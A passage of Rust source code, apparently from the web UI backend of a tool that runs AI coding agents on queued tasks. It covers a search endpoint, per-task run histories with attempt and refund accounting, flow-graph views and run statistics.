4536 serde_json::json!({ "title": title, "turns": turns })
4537}
4538
4539async fn search_get(
4546 State(ui): State<Arc<Ui>>,
4547 Query(q): Query<SearchQuery>,
4548) -> ApiResult<Json<SearchView>> {
4549 let query = q.q.trim().to_owned();
4550 if query.is_empty() {
4551 return Err(ApiError::bad_request("q must not be empty"));
4552 }
4553 if query.chars().count() > SEARCH_MAX_QUERY {
4554 return Err(ApiError::bad_request(format!(
4555 "q is longer than {SEARCH_MAX_QUERY} characters"
4556 )));
4557 }
4558 let terms = search_terms(&query);
4559 if terms.len() > SEARCH_MAX_TERMS {
4560 return Err(ApiError::bad_request(format!(
4561 "q has more than {SEARCH_MAX_TERMS} terms"
4562 )));
4563 }
4564 let scope = q.scope;
4565 if scope != "runs" && scope != "tasks" && scope != "chats" {
4566 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
4567 }
4568 blocking(move || {
4569 let mut view = SearchView {
4570 scope: scope.clone(),
4571 q: query,
4572 hits: Vec::new(),
4573 total: 0,
4574 truncated: false,
4575 unreadable: 0,
4576 };
4577 if scope == "runs" {
4578 let mut unreadable = 0;
4579 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
4583 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
4584 match body.and_then(|b| serde_json::from_str(&b).ok()) {
4585 Some(v) => Some((id, v)),
4586 None => {
4587 unreadable += 1;
4588 None
4589 }
4590 }
4591 });
4592 search_docs(&terms, docs, &mut view);
4593 view.unreadable = unreadable;
4594 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4597 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4598 for hit in &mut view.hits {
4599 if let Ok(state) = read_run(&ui.runs, &hit.id) {
4600 hit.run = summarize(
4601 [state],
4602 &open_runs,
4603 &claimed,
4604 &superseded,
4605 |p| probe.borrow_mut().status(p),
4606 |p| probe.borrow_mut().started_at(p),
4607 )
4608 .pop();
4609 }
4610 }
4611 } else if scope == "chats" {
4612 let (talks, unreadable) = ui.talks.list_counting_unreadable();
4613 view.unreadable = unreadable;
4614 search_docs(
4615 &terms,
4616 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
4617 &mut view,
4618 );
4619 } else {
4620 let docs = ui.queue.list().into_iter().filter_map(|t| {
4621 let mut v = serde_json::to_value(&t).ok()?;
4622 if let Some(o) = v.as_object_mut() {
4625 o.insert("filed_by".to_owned(), t.source.label().into());
4626 }
4627 Some((t.id, v))
4628 });
4629 search_docs(&terms, docs, &mut view);
4630 }
4631 Ok(Json(view))
4632 })
4633 .await
4634}
4635
4636#[derive(Debug, Serialize)]
4638struct TaskRunView {
4639 n: usize,
4641 id: String,
4642 short: String,
4643 kind: &'static str,
4645 status: Option<&'static str>,
4647 readable: bool,
4649 provisional: bool,
4651 description: String,
4653 outcome: String,
4655 created_at: Option<Timestamp>,
4656 pr: Option<String>,
4657 exit: RunExit,
4659 attempt: AttemptCost,
4661 exit_label: String,
4664 later_pass: Option<usize>,
4667 pass_n: usize,
4671 passes_of_run: usize,
4672 pass: Option<PassView>,
4675 branch: Option<String>,
4677 badge: Option<String>,
4680}
4681
4682#[derive(Debug, Clone, PartialEq, Serialize)]
4684struct PassView {
4685 index: usize,
4686 resumed: bool,
4687 started_at: Timestamp,
4688 ended_at: Option<Timestamp>,
4689 end: &'static str,
4691 cause: Option<crate::run::ParkCause>,
4692 label: String,
4694 cost: Option<crate::queue::PassCost>,
4697}
4698
4699impl PassView {
4700 fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
4701 use crate::run::PassEnd;
4702 let (end, cause, label) = match &p.end {
4703 None => ("open", None, "still open".to_owned()),
4704 Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
4705 Some(PassEnd::Unrecorded) => (
4706 "unrecorded",
4707 None,
4708 "stopped without recording why (a crash, a kill or a restart; not known)"
4709 .to_owned(),
4710 ),
4711 };
4712 Self {
4713 index: p.index,
4714 resumed: p.resumed,
4715 started_at: p.started_at,
4716 ended_at: p.ended_at,
4717 end,
4718 cause,
4719 label,
4720 cost: settled.map(|t| t.cost),
4721 }
4722 }
4723}
4724
4725#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4727#[serde(rename_all = "snake_case")]
4728enum RunExit {
4729 Unreadable,
4730 Interrupted,
4732 Parked,
4733 QuotaStall,
4734 ResumedQuotaStall,
4738 Merged,
4739 Ready,
4740 Superseded,
4741 AlreadyInBase,
4744 Stalled,
4746 HeldWithPr,
4748 NoopHeld,
4749 Spent,
4751 InProgress,
4752}
4753
4754#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4755#[serde(rename_all = "snake_case")]
4756enum AttemptCost {
4757 Spent,
4758 Refunded,
4759 None,
4760 Unknown,
4762}
4763
4764impl RunExit {
4765 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
4766 let Some(s) = s else {
4767 return Self::Unreadable;
4768 };
4769 let status = s.status;
4770 if resumed_later {
4771 Self::Interrupted
4772 } else if s.parked {
4773 Self::Parked
4774 } else if !status.done() {
4775 Self::InProgress
4776 } else if matches!(status, RunStatus::Merged) {
4777 Self::Merged
4778 } else if matches!(status, RunStatus::Ready) {
4779 Self::Ready
4780 } else if matches!(status, RunStatus::Superseded) {
4781 Self::Superseded
4782 } else if matches!(status, RunStatus::AlreadyInBase) {
4783 Self::AlreadyInBase
4784 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4785 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4786 {
4787 if resumed {
4788 Self::ResumedQuotaStall
4789 } else {
4790 Self::QuotaStall
4791 }
4792 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4793 Self::HeldWithPr
4794 } else if matches!(status, RunStatus::VerifiedNoop) {
4795 Self::NoopHeld
4796 } else if matches!(status, RunStatus::Stalled) {
4797 Self::Stalled
4798 } else {
4799 Self::Spent
4800 }
4801 }
4802
4803 fn cost(self) -> AttemptCost {
4804 match self {
4805 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
4806 Self::Merged
4807 | Self::Ready
4808 | Self::Stalled
4809 | Self::HeldWithPr
4810 | Self::NoopHeld
4811 | Self::Spent => AttemptCost::Spent,
4812 Self::InProgress => AttemptCost::None,
4813 Self::AlreadyInBase => AttemptCost::Refunded,
4814 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
4815 AttemptCost::Unknown
4816 }
4817 }
4818 }
4819
4820 fn edge_label(self, status: Option<&str>) -> String {
4822 match self {
4823 Self::Unreadable => "record unreadable".to_owned(),
4824 Self::Interrupted => "interrupted before the run finished".to_owned(),
4825 Self::Parked => "parked, attempt refunded".to_owned(),
4826 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4827 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4828 Self::Merged => "merged".to_owned(),
4829 Self::Ready => "ready, not merged".to_owned(),
4830 Self::Superseded => "superseded by a later attempt".to_owned(),
4831 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4832 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4833 Self::HeldWithPr => "blocked, PR left open".to_owned(),
4834 Self::NoopHeld => "verified no-op".to_owned(),
4835 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4836 Self::InProgress => "in progress".to_owned(),
4837 }
4838 }
4839
4840 fn explains(self, end: TaskStatus) -> bool {
4843 match self {
4844 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4845 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4846 Self::Unreadable | Self::Superseded | Self::Ready => true,
4847 _ => end != TaskStatus::Done,
4848 }
4849 }
4850}
4851
4852#[derive(Debug, Serialize)]
4854struct TaskDetailView {
4855 #[serde(flatten)]
4856 task: TaskView,
4857 max_attempts: usize,
4860 history: Vec<TaskRunView>,
4861 passes_total: usize,
4864 runs_distinct: usize,
4866 flow: FlowView,
4867 followup_origin: Option<FollowUpOrigin>,
4869 runs_unreadable: usize,
4871 attempts_note: &'static str,
4873}
4874
4875const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4876and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4877on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
4878the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
4879
4880fn review_branch_of(instruction: &str) -> Option<&str> {
4883 let rest = instruction.strip_prefix("Review the work already on branch `")?;
4884 rest.split('`').next().filter(|b| !b.is_empty())
4885}
4886
4887#[derive(Default)]
4889struct RunSlot<'a> {
4890 n: usize,
4892 resumed: bool,
4894 resumed_later: Option<usize>,
4896 prior: Option<(&'a str, RunStatus)>,
4898 last: bool,
4899 pass: Option<&'a crate::run::RunPass>,
4901 settled: Option<&'a crate::queue::TaskPass>,
4903 pass_n: usize,
4905 passes_of_run: usize,
4906}
4907
4908fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4911 let RunSlot {
4912 n,
4913 resumed,
4914 resumed_later,
4915 prior,
4916 last,
4917 pass,
4918 settled,
4919 pass_n,
4920 passes_of_run,
4921 } = at;
4922 let short = run::short_of(id).to_owned();
4923 let Some(s) = state else {
4924 return TaskRunView {
4925 n,
4926 id: id.to_owned(),
4927 short,
4928 kind: "unknown",
4929 status: None,
4930 readable: false,
4931 provisional: false,
4932 description:
4933 "This run's record could not be read by this build (written by a different \
4934 magi, or removed), so what kind of attempt it was is unknown."
4935 .to_owned(),
4936 outcome: String::new(),
4937 created_at: None,
4938 pr: None,
4939 exit: RunExit::Unreadable,
4940 attempt: AttemptCost::Unknown,
4941 exit_label: RunExit::Unreadable.edge_label(None),
4942 later_pass: resumed_later,
4943 pass_n,
4944 passes_of_run,
4945 pass: None,
4946 branch: None,
4947 badge: None,
4948 };
4949 };
4950 let branch = review_branch_of(&s.instruction);
4951 let kind = if resumed {
4952 "resume"
4953 } else if branch.is_some() {
4954 "review"
4955 } else if task.solo || s.candidates.len() == 1 {
4956 "solo"
4957 } else {
4958 "competition"
4959 };
4960 let mut description = match kind {
4961 "resume" => {
4962 format!("Resumed run {short}: the same run carried on instead of competing again.")
4963 }
4964 "review" => format!(
4965 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4966 branch.unwrap_or_default()
4967 ),
4968 "solo" => "Solo run: one implementer straight into review.".to_owned(),
4969 _ => format!(
4970 "Competition: {} candidates judged blind.",
4971 s.candidates.len().max(1)
4972 ),
4973 };
4974 if !resumed && let Some((p, st)) = prior {
4975 description.push_str(&format!(
4976 " A retry: run {p} before it ended {}.",
4977 st.display_label()
4978 ));
4979 }
4980
4981 let status = s.status;
4982 let provisional = matches!(status, RunStatus::Stalled)
4983 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4984 let head = if resumed_later.is_some() {
4985 String::new()
4986 } else {
4987 match status {
4988 RunStatus::Merged => "Merged.".to_owned(),
4989 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4990 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4991 RunStatus::AlreadyInBase => {
4992 "Already in the base: this change landed under other commits, nothing was left to land."
4993 .to_owned()
4994 }
4995 RunStatus::Stalled => {
4996 "Stalled: the judging panel never reached a quorum, so there is no verdict."
4997 .to_owned()
4998 }
4999 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
5000 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
5001 RunStatus::VerifiedNoop => {
5002 "Verified no-op: the candidates found nothing to change.".to_owned()
5003 }
5004 other if other.done() => format!("Ended {}.", other.display_label()),
5005 other => format!("In progress ({}).", other.display_label()),
5006 }
5007 };
5008 let view = pass.map(|p| PassView::of(p, settled));
5009 let recorded_end = view
5010 .as_ref()
5011 .filter(|v| matches!(v.end, "parked" | "unrecorded"));
5012 let cost_words = match view.as_ref().and_then(|v| v.cost) {
5013 Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
5014 Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
5015 None => "whether its attempt was handed back was not recorded",
5016 };
5017 let pass_note = if passes_of_run > 1 {
5018 format!(
5019 " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
5020 )
5021 } else {
5022 String::new()
5023 };
5024 let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
5025 let cause = match v.end {
5027 "parked" => format!("It was stopped on purpose: {}.", v.label),
5028 _ => format!("It {}.", v.label),
5029 };
5030 format!(
5031 " {cause} {}; pass #{k} resumed the same run.{pass_note}",
5032 capitalise(cost_words)
5033 )
5034 } else if let Some(k) = resumed_later {
5035 let cause = if s.quota.is_empty() {
5042 "the cause was not recorded: a park, a crash or a restart all look the same from here"
5043 } else {
5044 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
5045 };
5046 format!(
5047 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
5048 )
5049 } else if s.parked {
5050 match recorded_end.and_then(|v| v.cause.as_ref()) {
5051 Some(cause) => format!(
5052 " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
5053 cause.label(),
5054 cost_words
5055 ),
5056 None => " Parked at a node boundary; the attempt was handed back and the run resumes."
5057 .to_owned(),
5058 }
5059 } else if !status.done()
5060 || matches!(
5061 status,
5062 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
5063 )
5064 {
5065 String::new()
5066 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5067 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5068 {
5069 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
5070 .to_owned()
5071 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5072 " It left a pull request open, so the task was held for a person rather than retried."
5073 .to_owned()
5074 } else if matches!(status, RunStatus::VerifiedNoop) {
5075 " Held for a person to check the claim.".to_owned()
5076 } else if last {
5077 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
5078 } else {
5079 " It spent an attempt, and the task moved on to the next run.".to_owned()
5080 };
5081 let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
5082 let mut attempt = exit.cost();
5083 let mut exit_label = None;
5084 if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
5085 let spent = match v.cost {
5086 Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
5087 Some(crate::queue::PassCost::Spent) => ", attempt counted",
5088 None if resumed_later.is_some() => ", refund not recorded",
5089 None => ", attempt refunded",
5090 };
5091 attempt = match v.cost {
5092 Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
5093 Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
5094 None if resumed_later.is_some() => AttemptCost::Unknown,
5095 None => attempt,
5096 };
5097 if v.end == "parked" {
5098 exit = RunExit::Parked;
5099 exit_label = Some(match v.cause.as_ref() {
5100 Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
5101 format!("parked for {}{spent}", c.label())
5102 }
5103 Some(c) => format!("parked ({}){spent}", c.label()),
5104 None => format!("parked{spent}"),
5105 });
5106 } else {
5107 exit_label = Some(format!("stopped without a recorded cause{spent}"));
5108 }
5109 }
5110 let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
5111 TaskRunView {
5112 n,
5113 id: id.to_owned(),
5114 short,
5115 kind,
5116 status: Some(status.as_str()),
5117 readable: true,
5118 provisional,
5119 description,
5120 outcome: format!("{head}{why}"),
5121 created_at: Some(s.created_at),
5122 pr: s.pr.as_ref().map(|p| p.url.clone()),
5123 exit,
5124 attempt,
5125 exit_label,
5126 later_pass: resumed_later,
5127 pass_n,
5128 passes_of_run,
5129 pass: view,
5130 branch: branch.map(str::to_owned),
5131 badge: None,
5132 }
5133}
5134
5135fn capitalise(s: &str) -> String {
5136 let mut c = s.chars();
5137 c.next().map_or_else(String::new, |f| {
5138 f.to_uppercase().collect::<String>() + c.as_str()
5139 })
5140}
5141
5142#[derive(Debug, Serialize, PartialEq)]
5144struct FlowNode {
5145 key: String,
5147 kind: &'static str,
5149 label: String,
5150 status: Option<&'static str>,
5153 status_of: &'static str,
5156 note: Option<&'static str>,
5158 run_kind: Option<&'static str>,
5159 detail: Option<String>,
5160 decided: bool,
5162 readable: bool,
5163 href: Option<String>,
5164 badge: Option<String>,
5166 started_at: Option<Timestamp>,
5168 time_expected: bool,
5170}
5171
5172#[derive(Debug, Serialize, PartialEq)]
5173struct FlowEdge {
5174 from: String,
5175 to: String,
5176 label: String,
5177 attempt: AttemptCost,
5178}
5179
5180#[derive(Debug, Serialize, PartialEq)]
5181struct FlowView {
5182 nodes: Vec<FlowNode>,
5183 edges: Vec<FlowEdge>,
5184 attempts: usize,
5186 max_attempts: usize,
5187 passes: usize,
5190 runs: usize,
5191}
5192
5193fn task_flow(
5202 task: &Task,
5203 history: &[TaskRunView],
5204 max_attempts: usize,
5205 origin: Option<&FollowUpOrigin>,
5206) -> FlowView {
5207 let max_attempts = task.effective_attempt_limit(max_attempts);
5208 let node = |key: &str, kind, label: String| FlowNode {
5209 key: key.to_owned(),
5210 kind,
5211 label,
5212 status: None,
5213 status_of: "run",
5214 note: None,
5215 run_kind: None,
5216 detail: None,
5217 decided: false,
5218 readable: true,
5219 href: None,
5220 badge: None,
5221 started_at: None,
5222 time_expected: matches!(kind, "start" | "run" | "end"),
5223 };
5224 let mut nodes = Vec::new();
5225 let mut edges: Vec<FlowEdge> = Vec::new();
5226 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
5228 let mut n = node(
5229 "chat",
5230 "chat",
5231 format!("Chat {}", crate::queue::short(&link.id)),
5232 );
5233 n.href = Some(link.href);
5234 nodes.push(n);
5235 edges.push(FlowEdge {
5236 from: "chat".to_owned(),
5237 to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
5238 label: "queued from chat".to_owned(),
5239 attempt: AttemptCost::None,
5240 });
5241 }
5242 if let Some(o) = origin {
5243 let mut n = match &o.parent {
5244 Some(p) => {
5245 let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
5246 n.status = Some(p.status);
5247 n.status_of = "task";
5248 n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
5249 n.href = Some(p.href.clone());
5250 n
5251 }
5252 None => {
5253 let mut n = node(
5254 "origin",
5255 "followup",
5256 format!("Follow-up of run {}", o.run.short),
5257 );
5258 n.detail = Some("merged run".to_owned());
5259 n.status = o.run.status;
5260 n.href = o.run.href.clone();
5261 if o.run.href.is_none() {
5262 n.readable = false;
5263 n.note = Some("unreadable");
5264 }
5265 n
5266 }
5267 };
5268 n.decided = true;
5269 let from = n.key.clone();
5270 nodes.push(n);
5271 let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
5272 let more = o.findings.len().saturating_sub(shown.len());
5273 let label = match (shown.is_empty(), more) {
5274 (true, _) => "open findings".to_owned(),
5275 (false, 0) => format!("open findings {}", shown.join(", ")),
5276 (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
5277 };
5278 edges.push(FlowEdge {
5279 from,
5280 to: "start".to_owned(),
5281 label,
5282 attempt: AttemptCost::None,
5283 });
5284 }
5285 let mut start = node("start", "start", "Task queued".to_owned());
5286 start.started_at = Some(task.created_at);
5287 nodes.push(start);
5288 let mut prev = "start".to_owned();
5289 let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
5290 for (i, h) in history.iter().enumerate() {
5291 let key = format!("run-{}", h.n);
5292 let mut n = node(&key, "run", format!("Run {}", h.short));
5293 n.started_at = h
5296 .readable
5297 .then(|| {
5298 h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
5299 h.created_at
5300 } else {
5301 None
5302 })
5303 })
5304 .flatten();
5305 n.run_kind = Some(h.kind);
5306 n.readable = h.readable;
5307 n.href = Some(format!("#/runs/{}", h.id));
5308 n.decided = h.readable && !h.provisional;
5309 n.detail = h
5310 .branch
5311 .as_ref()
5312 .map(|b| format!("review-only run of branch {b}"));
5313 match h.exit {
5314 RunExit::Unreadable => n.note = Some("unreadable"),
5315 RunExit::Interrupted => n.note = Some("interrupted"),
5316 RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
5319 _ => {
5320 n.status = h.status;
5321 n.badge = h.badge.clone();
5322 if h.provisional {
5323 n.note = Some("no verdict");
5324 }
5325 }
5326 }
5327 let into = match h.kind {
5328 "review" => Some(format!(
5329 "review-only run of branch {}",
5330 h.branch.as_deref().unwrap_or("?")
5331 )),
5332 "resume" => Some("resume the same run".to_owned()),
5333 _ if i > 0 => Some("retry".to_owned()),
5334 _ => None,
5335 };
5336 let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
5337 let label = match (prev_exit, into) {
5338 (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
5339 (Some((_, l, _)), None) => l,
5340 (None, Some(i)) => i,
5341 (None, None) => "claimed".to_owned(),
5342 };
5343 edges.push(FlowEdge {
5344 from: prev.clone(),
5345 to: key.clone(),
5346 label,
5347 attempt,
5348 });
5349 prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
5350 prev = key;
5351 nodes.push(n);
5352 }
5353 let mut end = node("end", "end", task.status.as_str().to_owned());
5354 end.status = Some(task.status.as_str());
5355 end.status_of = "task";
5356 if task.status == TaskStatus::Held {
5359 end.started_at = task.held_at;
5360 }
5361 nodes.push(end);
5362 let (label, attempt) = match prev_exit {
5363 None => (
5364 format!("no run yet \u{2192} {}", task.status.as_str()),
5365 AttemptCost::None,
5366 ),
5367 Some((e, l, cost)) if e.explains(task.status) => {
5368 (format!("{l} \u{2192} {}", task.status.as_str()), cost)
5369 }
5370 Some((_, _, cost)) => (
5371 format!("closed by hand: task is {}", task.status.as_str()),
5372 cost,
5373 ),
5374 };
5375 edges.push(FlowEdge {
5376 from: prev,
5377 to: "end".to_owned(),
5378 label,
5379 attempt,
5380 });
5381 FlowView {
5382 nodes,
5383 edges,
5384 attempts: task.attempts,
5385 max_attempts,
5386 passes: history.len(),
5387 runs: distinct_runs(&task.runs),
5388 }
5389}
5390
5391fn distinct_runs(runs: &[String]) -> usize {
5393 let mut seen: Vec<&str> = Vec::new();
5394 for r in runs {
5395 if !seen.contains(&r.as_str()) {
5396 seen.push(r);
5397 }
5398 }
5399 seen.len()
5400}
5401
5402fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
5404 let mut slots = Vec::new();
5405 let mut seen = Vec::new();
5406 for run_id in &task.runs {
5407 if seen.contains(&run_id) {
5408 continue;
5409 }
5410 seen.push(run_id);
5411 let state = read(run_id);
5412 let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
5413 s.passes
5414 .iter()
5415 .filter(|p| {
5416 p.task_entry
5417 || task
5418 .passes
5419 .iter()
5420 .any(|t| t.run == *run_id && t.pass_index == p.index)
5421 })
5422 .cloned()
5423 .collect()
5424 });
5425 let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
5426 let total = legacy_count.max(mine.len());
5427 let offset = total - mine.len();
5428 for k in 0..total {
5429 let position = task
5432 .runs
5433 .iter()
5434 .enumerate()
5435 .filter(|(_, r)| *r == run_id)
5436 .nth(k.min(legacy_count - 1))
5437 .unwrap()
5438 .0;
5439 slots.push((
5440 run_id,
5441 state.clone(),
5442 k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
5443 position,
5444 ));
5445 }
5446 }
5447 if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
5448 slots.sort_by_key(|(_, state, pass, _)| {
5449 pass.as_ref()
5450 .map(|p| p.started_at)
5451 .or_else(|| state.as_ref().map(|s| s.created_at))
5452 .map_or((true, task.created_at), |at| (false, at))
5453 });
5454 } else {
5455 slots.sort_by_key(|(_, _, _, position)| *position);
5456 }
5457 let mut history = Vec::with_capacity(slots.len());
5458 let mut seen: Vec<&str> = Vec::new();
5459 let mut prior: Option<(&str, RunStatus)> = None;
5460 for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
5461 let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
5462 let resumed = k > 0;
5463 seen.push(run_id);
5464 let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
5465 let pass = pass.as_ref();
5466 let settled = pass.and_then(|p| {
5467 task.passes
5468 .iter()
5469 .find(|t| t.run == **run_id && t.pass_index == p.index)
5470 });
5471 history.push(task_run_view(
5472 run_id,
5473 state.as_ref(),
5474 RunSlot {
5475 n: i + 1,
5476 resumed,
5477 resumed_later: slots[i + 1..]
5478 .iter()
5479 .position(|(id, _, _, _)| id == run_id)
5480 .map(|off| i + off + 2),
5481 prior,
5482 last: i + 1 == slots.len(),
5483 pass,
5484 settled,
5485 pass_n: k + 1,
5486 passes_of_run: total,
5487 },
5488 task,
5489 ));
5490 if let Some(s) = &state {
5491 prior = Some((run::short_of(run_id), s.status));
5492 }
5493 }
5494 history
5495}
5496
5497fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
5500 if history.iter().all(|h| h.exit == RunExit::Interrupted) {
5501 return;
5502 }
5503 let (_, claimed, _) = run_row_inputs(ui);
5504 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5505 for h in history
5506 .iter_mut()
5507 .filter(|h| h.readable && h.exit != RunExit::Interrupted)
5508 {
5509 let Ok(state) = read_run(&ui.runs, &h.id) else {
5510 continue;
5511 };
5512 if state.status.done() {
5513 continue;
5514 }
5515 let live = state.liveness_with(
5516 claimed.contains(&h.id),
5517 |p| probe.borrow_mut().status(p),
5518 |p| probe.borrow_mut().started_at(p),
5519 );
5520 let waiting = !ui.questions.open_for(&h.id).is_empty();
5521 let display = run_display_status(&state, waiting, live);
5522 let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
5523 if matches!(word.as_str(), "stale" | "superseded")
5524 || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
5525 {
5526 h.badge = Some(word);
5527 }
5528 }
5529}
5530
5531async fn task_detail(
5532 State(ui): State<Arc<Ui>>,
5533 Path(id): Path<String>,
5534) -> ApiResult<Json<TaskDetailView>> {
5535 blocking(move || {
5536 let id = resolve_task(&ui.queue, &id)?;
5537 let task = ui
5538 .queue
5539 .get(&id)
5540 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
5541 let inv = crate::blockers::Inventory::load(&ui.queue, &ui.questions);
5542 let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
5543 mark_badges(&ui, &task, &mut history);
5544 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
5545 let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
5546 let origin = task.followup.as_ref().map(|fu| {
5547 followup_origin(
5548 fu,
5549 |tid| ui.queue.get(tid).ok(),
5550 |rid| read_run(&ui.runs, rid).ok(),
5551 )
5552 });
5553 let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
5554 Ok(Json(TaskDetailView {
5555 max_attempts,
5556 flow,
5557 followup_origin: origin,
5558 passes_total: history.len(),
5559 runs_distinct: distinct_runs(&task.runs),
5560 history,
5561 runs_unreadable,
5562 attempts_note: ATTEMPTS_NOTE,
5563 task: TaskView::with_inventory(task, &inv),
5564 }))
5565 })
5566 .await
5567}
5568
5569#[derive(Debug, Serialize)]
5573struct RateView {
5574 pct: f64,
5575 denominator: usize,
5576}
5577
5578impl RateView {
5579 fn of(numerator: usize, denominator: usize) -> Option<Self> {
5580 (denominator > 0).then(|| Self {
5581 pct: 100.0 * numerator as f64 / denominator as f64,
5582 denominator,
5583 })
5584 }
5585}
5586
5587#[derive(Debug, Serialize)]
5592struct StatsTotalsView {
5593 runs: usize,
5594 merged: usize,
5595 ready: usize,
5596 blocked: usize,
5597 failed: usize,
5598 stalled: usize,
5599 verified_noop: usize,
5600 superseded: usize,
5601 in_progress: usize,
5602 completion_rate: Option<RateView>,
5603 tallied: usize,
5604 split: usize,
5605 split_rate: Option<RateView>,
5606 deliberated: usize,
5607 minds_changed: usize,
5608 converged: usize,
5609 review_rounds: usize,
5610}
5611
5612impl From<&stats::Totals> for StatsTotalsView {
5613 fn from(t: &stats::Totals) -> Self {
5614 Self {
5615 runs: t.runs,
5616 merged: t.merged,
5617 ready: t.ready,
5618 blocked: t.blocked,
5619 failed: t.failed,
5620 stalled: t.stalled,
5621 verified_noop: t.verified_noop,
5622 superseded: t.superseded,
5623 in_progress: t.in_progress,
5624 completion_rate: RateView::of(t.merged + t.ready, t.runs),
5625 tallied: t.tallied,
5626 split: t.split,
5627 split_rate: RateView::of(t.split, t.tallied),
5628 deliberated: t.deliberated,
5629 minds_changed: t.minds_changed,
5630 converged: t.converged,
5631 review_rounds: t.review_rounds,
5632 }
5633 }
5634}
5635
5636#[derive(Debug, Serialize)]
5638struct AgentStatsView {
5639 agent: String,
5640 entered: usize,
5641 wins: usize,
5642 empty: usize,
5643 win_rate: Option<RateView>,
5644 competitive_entered: usize,
5645 competitive_wins: usize,
5646 competitive_win_rate: Option<RateView>,
5647 solo_entered: usize,
5648 solo_adopted: usize,
5649 solo_adoption_rate: Option<RateView>,
5650}
5651
5652impl From<&stats::AgentStats> for AgentStatsView {
5653 fn from(a: &stats::AgentStats) -> Self {
5654 Self {
5655 agent: a.agent.clone(),
5656 entered: a.entered,
